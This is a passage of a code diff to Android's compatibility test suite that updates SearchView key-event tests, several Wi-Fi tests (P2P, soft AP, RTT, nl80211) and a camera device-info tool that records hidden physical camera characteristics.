+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
mSearchView.setQuery("beta", false);
mSearchView.requestFocus();
});
mInstrumentation.waitForIdleSync();
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+ CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_NUMPAD_ENTER);
verify(mockQueryTextListener, times(1)).onQueryTextChange("beta");
verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("beta");
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
index e0cd2e2..2c5c398 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -46,6 +46,7 @@
import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
@@ -246,34 +247,34 @@
spy(new MyQueryTextListener());
when(mockQueryTextListener.onQueryTextChange(anyString())).thenCallRealMethod();
- mActivityRule.runOnUiThread(() -> {
+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
mSearchView.setIconifiedByDefault(false);
mSearchView.setOnQueryTextListener(mockQueryTextListener);
mSearchView.setOnSuggestionListener(mockSuggestionListener);
mSearchView.requestFocus();
+ mSearchView.setQuery("Di", false);
});
- mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Di", false));
mInstrumentation.waitForIdleSync();
verify(mockQueryTextListener, times(1)).onQueryTextChange("Di");
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+ CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+ KeyEvent.KEYCODE_ENTER);
- // Just to be sure, verify that our spy suggestion listener was called
+ // Verify that our spy suggestion listener was called.
verify(mockSuggestionListener, times(1)).onSuggestionClick(0);
+ WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
+ mSearchView.setQuery("Bo", false);
+ });
- mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Bo", false));
mInstrumentation.waitForIdleSync();
verify(mockQueryTextListener, times(1)).onQueryTextChange("Bo");
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
- mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
- WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+ CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+ KeyEvent.KEYCODE_NUMPAD_ENTER);
- // Just to be sure, verify that our spy suggestion listener was called
+ // Verify that our spy suggestion listener was called.
verify(mockSuggestionListener, times(2)).onSuggestionClick(0);
verifyNoMoreInteractions(mockSuggestionListener);
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
index 76085fa..ced02b8 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -127,6 +127,8 @@
mMySync.pendingSync.set(MySync.NETWORK_INFO);
mMySync.expectedNetworkInfo = (NetworkInfo) intent.getExtra(
WifiP2pManager.EXTRA_NETWORK_INFO, null);
+ Log.d(TAG, "Get WIFI_P2P_CONNECTION_CHANGED_ACTION: "
+ + mMySync.expectedNetworkInfo);
mMySync.notify();
}
}
@@ -520,6 +522,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
}
private String getDeviceName() {
@@ -604,6 +610,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
WifiP2pGroupList persistentGroups = getPersistentGroups();
assertNotNull(persistentGroups);
@@ -636,6 +646,10 @@
mWifiP2pManager.removeGroup(mWifiP2pChannel, mActionListener);
assertTrue(waitForServiceResponse(mMyResponse));
assertTrue(mMyResponse.success);
+ assertTrue(waitForBroadcasts(MySync.NETWORK_INFO));
+ assertNotNull(mMySync.expectedNetworkInfo);
+ assertEquals(NetworkInfo.DetailedState.DISCONNECTED,
+ mMySync.expectedNetworkInfo.getDetailedState());
resetResponse(mMyResponse);
ShellIdentityUtils.invokeWithShellPermissions(() -> {
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
index 3e9fef4..4876ff0 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiFeature.java
@@ -29,4 +29,9 @@
PackageManager packageManager = context.getPackageManager();
return packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI_DIRECT);
}
+
+ public static boolean isTelephonySupported(Context context) {
+ final PackageManager pm = context.getPackageManager();
+ return pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 0b548fb..fd61914 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -632,10 +632,10 @@
MacAddress lastBlockedClientMacAddress;
int lastBlockedClientReason;
boolean onStateChangedCalled = false;
- boolean onSoftapInfoChangedCalled = false;
boolean onSoftApCapabilityChangedCalled = false;
boolean onConnectedClientCalled = false;
boolean onBlockedClientConnectingCalled = false;
+ int onSoftapInfoChangedCalledCount = 0;
TestSoftApCallback(Object lock) {
softApLock = lock;
@@ -647,9 +647,9 @@
}
}
- public boolean getOnSoftapInfoChangedCalled() {
+ public int getOnSoftapInfoChangedCalledCount() {
synchronized(softApLock) {
- return onSoftapInfoChangedCalled;
+ return onSoftapInfoChangedCalledCount;
}
}
@@ -734,7 +734,7 @@
public void onInfoChanged(SoftApInfo softApInfo) {
synchronized(softApLock) {
currentSoftApInfo = softApInfo;
- onSoftapInfoChangedCalled = true;
+ onSoftapInfoChangedCalledCount++;
}
}
@@ -1472,7 +1472,7 @@
executor.runAll();
// Verify callback is run on the supplied executor and called
return callback.getOnStateChangedCalled() &&
- callback.getOnSoftapInfoChangedCalled() &&
+ callback.getOnSoftapInfoChangedCalledCount() > 0 &&
callback.getOnSoftApCapabilityChangedCalled() &&
callback.getOnConnectedClientCalled();
});
@@ -1633,8 +1633,9 @@
"SoftAp channel and state mismatch!!!", 5_000,
() -> {
executor.runAll();
- return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState() &&
- 2462 == callback.getCurrentSoftApInfo().getFrequency();
+ return WifiManager.WIFI_AP_STATE_ENABLED == callback.getCurrentState()
+ && (callback.getOnSoftapInfoChangedCalledCount() > 1
+ ? 2462 == callback.getCurrentSoftApInfo().getFrequency() : true);
});
// stop tethering which used to verify stopSoftAp
@@ -2311,9 +2312,11 @@
// assert that the country code is all uppercase
assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
- String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
- .getNetworkCountryIso();
- assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+ if (WifiFeature.isTelephonySupported(getContext())) {
+ String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+ .getNetworkCountryIso();
+ assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+ }
}
/**
@@ -2778,14 +2781,6 @@
// Now trigger scan and ensure that the device does not connect to any networks.
mWifiManager.startScan();
ensureNotConnected();
-
- // Toggle Wifi off/on should clean the state.
- setWifiEnabled(false);
- setWifiEnabled(true);
-
- // Trigger a scan & wait for connection to one of the saved networks.
- mWifiManager.startScan();
- waitForConnection();
} finally {
uiAutomation.dropShellPermissionIdentity();
setWifiEnabled(false);
diff --git a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
index 8e316e6..a692f12 100644
--- a/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/nl80211/cts/WifiNl80211ManagerTest.java
@@ -89,4 +89,12 @@
manager.getTxPacketCounters("wlan0");
} catch (Exception ignore) {}
}
+
+ @Test
+ public void testSetOnServiceDeadCallback() {
+ try {
+ WifiNl80211Manager manager = mContext.getSystemService(WifiNl80211Manager.class);
+ manager.setOnServiceDeadCallback(() -> {});
+ } catch (Exception ignore) {}
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index 07d5718..a721326 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -52,6 +52,9 @@
// wait for Wi-Fi scan results to become available
private static final int WAIT_FOR_SCAN_RESULTS_SECS = 20;
+ // wait for network selection and connection finish
+ private static final int WAIT_FOR_CONNECTION_FINISH_MS = 30_000;
+
protected WifiRttManager mWifiRttManager;
protected WifiManager mWifiManager;
private LocationManager mLocationManager;
@@ -96,8 +99,10 @@
mWifiLock.acquire();
if (!mWifiManager.isWifiEnabled()) {
SystemUtil.runShellCommand("svc wifi enable");
+ // Turn on Wi-Fi may trigger connection. Wait connection state stable.
+ scanAps();
+ Thread.sleep(WAIT_FOR_CONNECTION_FINISH_MS);
}
-
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(WifiRttManager.ACTION_WIFI_RTT_STATE_CHANGED);
WifiRttBroadcastReceiver receiver = new WifiRttBroadcastReceiver();
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index ca14b0e..458917d 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -49,7 +49,7 @@
private static final int MAX_FAILURE_RATE_PERCENT = 10;
// Maximum variation from the average measurement (measures consistency)
- private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 1000;
+ private static final int MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM = 2000;
// Minimum valid RSSI value
private static final int MIN_VALID_RSSI = -100;
@@ -176,10 +176,12 @@
+ ", AP SSID=" + testAp.SSID,
numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
if (numFailures != NUM_OF_RTT_ITERATIONS) {
- double distanceAvg = distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
- assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold",
+ double distanceAvg = (double) distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
+ assertTrue("Wi-Fi RTT: Variation (max direction) exceeds threshold, Variation ="
+ + (distanceMax - distanceAvg),
(distanceMax - distanceAvg) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
- assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold",
+ assertTrue("Wi-Fi RTT: Variation (min direction) exceeds threshold, Variation ="
+ + (distanceAvg - distanceMin),
(distanceAvg - distanceMin) <= MAX_VARIATION_FROM_AVERAGE_DISTANCE_MM);
for (int i = 0; i < numGoodResults; ++i) {
assertNotSame("Number of attempted measurements is 0", 0, numAttempted[i]);
@@ -247,7 +249,9 @@
assertEquals("Ranging request not success",
result.getStatus(), RangingResult.STATUS_SUCCESS);
ResponderLocation responderLocation = result.getUnverifiedResponderLocation();
- assertNotNull("ResponderLocation should not be null", responderLocation);
+ if (responderLocation == null) {
+ return;
+ }
assertTrue("ResponderLocation is not valid", responderLocation.isLciSubelementValid());
// Check LCI related APIs
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 698990f..e0fcbb0 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -41,6 +41,8 @@
import java.lang.reflect.Modifier;
import java.lang.reflect.ParameterizedType;
import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -79,6 +81,23 @@
return;
}
+ public void storePhysicalCameraInfo(String cameraId, List<String> logicalCameras)
+ throws Exception {
+ try {
+ CameraCharacteristics chars = mCameraManager.getCameraCharacteristics(cameraId);
+ mStore.startGroup(); // per camera chars
+ mStore.addResult("cameraId", cameraId);
+ mStore.addListResult("parentLogicalCameraIds", logicalCameras);
+ storeCameraChars(chars);
+ mStore.endGroup(); // per camera chars
+ } catch (CameraAccessException e) {
+ Log.e(TAG,
+ "Unable to get camera camera static info, skip this camera, error: "
+ + e.getMessage());
+ }
+ return;
+ }
+
private void storeRational(
Rational rat, String protoName) throws Exception {
if (protoName == null) {
@@ -420,6 +439,8 @@
getContext().getSystemService(Context.CAMERA_SERVICE);
try {
String[] cameraIdList = cameraManager.getCameraIdList();
+ HashMap<String, ArrayList<String>> physicalLogicalIdMap =
+ new HashMap<String, ArrayList<String>>();
store.addResult("num_of_camera", cameraIdList.length);
if (cameraIdList.length > 0) {
CameraCharacteristicsStorer charsStorer =
@@ -427,8 +448,32 @@
store.startArray("per_camera_info");
for (int i = 0; i < cameraIdList.length; i++) {
charsStorer.storeCameraInfo(cameraIdList[i]);
+
+ // Get the physical camera ids
+ CameraCharacteristics ch = cameraManager.getCameraCharacteristics(
+ cameraIdList[i]);
+ for (String physicalId : ch.getPhysicalCameraIds()) {
+ if (physicalLogicalIdMap.get(physicalId) == null) {
+ physicalLogicalIdMap.put(physicalId, new ArrayList<String>());
+ }
+ physicalLogicalIdMap.get(physicalId).add(cameraIdList[i]);
+ }
}
store.endArray(); // per_camera_info
+
+ // Store characteristics for hidden physical camera ids
+ for (int i = 0; i < cameraIdList.length; ++i) {
+ physicalLogicalIdMap.remove(cameraIdList[i]);
+ }
+ if (physicalLogicalIdMap.size() > 0) {
+ store.addResult("num_of_hidden_physical_camera", physicalLogicalIdMap.size());
+ store.startArray("per_hidden_physical_camera_info");
+ for (String physicalId : physicalLogicalIdMap.keySet()) {
+ charsStorer.storePhysicalCameraInfo(physicalId,
+ physicalLogicalIdMap.get(physicalId));
+ }
+ store.endArray(); // per_hidden_physical_camera_info
+ }
}
} catch (CameraAccessException e) {
Log.e(TAG,